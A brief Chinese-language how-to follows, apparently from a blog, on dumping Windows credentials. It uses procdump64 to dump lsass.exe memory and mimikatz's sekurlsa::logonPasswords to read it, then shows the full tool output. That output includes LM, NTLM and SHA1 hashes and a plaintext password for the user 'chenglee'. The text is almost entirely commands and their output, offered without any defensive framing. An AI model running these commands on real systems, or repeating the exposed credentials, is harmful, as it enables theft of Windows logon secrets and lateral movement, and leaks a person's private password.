procdump64+mimikatz获取win用户hash密码

1.导出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2.执行mimikatz

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

效果:

  .#####.   mimikatz 2.1. (x64) built on Jun   :: - lil!
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # sekurlsa::minidump lsass.dmp
Switch to MINIDUMP : 'lsass.dmp'

mimikatz(commandline) # sekurlsa::logonPasswords full
Opening : 'lsass.dmp' file for minidump...

Authentication Id :  ;  (:00021a83)
Session           : Interactive from
User Name         : chenglee
Domain            : chenglee-PC
Logon Server      : CHENGLEE-PC
Logon Time        : // ::
SID               : S-------
    msv :
     [] Primary
     * Username : chenglee
     * Domain   : chenglee-PC
     * LM       : 9cffd5e7eefa14babacbf0b4adf55fde
     * NTLM     : 8d0f8e1a18236379538411a9056799f5
     * SHA1     : 989281f47698b73e026160e842d86bc64c9e3c20
    tspkg :
     * Username : chenglee
     * Domain   : chenglee-PC
     * Password : lizhenghua
    wdigest :
     * Username : chenglee
     * Domain   : chenglee-PC
     * Password : lizhenghua
    kerberos :
     * Username : chenglee
     * Domain   : chenglee-PC
     * Password : lizhenghua
    ssp :
    credman :  

Authentication Id :  ;  (:00021a5d)
Session           : Interactive from
User Name         : chenglee
Domain            : chenglee-PC
Logon Server      : CHENGLEE-PC
Logon Time        : // ::
SID               : S-------
    msv :
     [] Primary
     * Username : chenglee
     * Domain   : chenglee-PC
     * LM       : 9cffd5e7eefa14babacbf0b4adf55fde
     * NTLM     : 8d0f8e1a18236379538411a9056799f5
     * SHA1     : 989281f47698b73e026160e842d86bc64c9e3c20
    tspkg :
     * Username : chenglee
     * Domain   : chenglee-PC
     * Password : lizhenghua
    wdigest :
     * Username : chenglee
     * Domain   : chenglee-PC
     * Password : lizhenghua
    kerberos :
     * Username : chenglee
     * Domain   : chenglee-PC
     * Password : lizhenghua
    ssp :
    credman :  

Authentication Id :  ;  (:000003e5)
Session           : Service from
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : // ::
SID               : S---
    msv :
    tspkg :
    wdigest :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :
    credman :  

Authentication Id :  ;  (:000003e4)
Session           : Service from
User Name         : CHENGLEE-PC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : // ::
SID               : S---
    msv :
    tspkg :
    wdigest :
     * Username : CHENGLEE-PC$
     * Domain   : WORKGROUP
     * Password : (null)
    kerberos :
     * Username : chenglee-pc$
     * Domain   : WORKGROUP
     * Password : (null)
    ssp :
    credman :  

Authentication Id :  ;  (:0000bdf6)
Session           : UndefinedLogonType from
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : // ::
SID               :
    msv :
    tspkg :
    wdigest :
    kerberos :
    ssp :
    credman :  

Authentication Id :  ;  (:000003e7)
Session           : UndefinedLogonType from
User Name         : CHENGLEE-PC$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : // ::
SID               : S---
    msv :
    tspkg :
    wdigest :
     * Username : CHENGLEE-PC$
     * Domain   : WORKGROUP
     * Password : (null)
    kerberos :
     * Username : chenglee-pc$
     * Domain   : WORKGROUP
     * Password : (null)
    ssp :
    credman :  

mimikatz(commandline) # exit
Bye!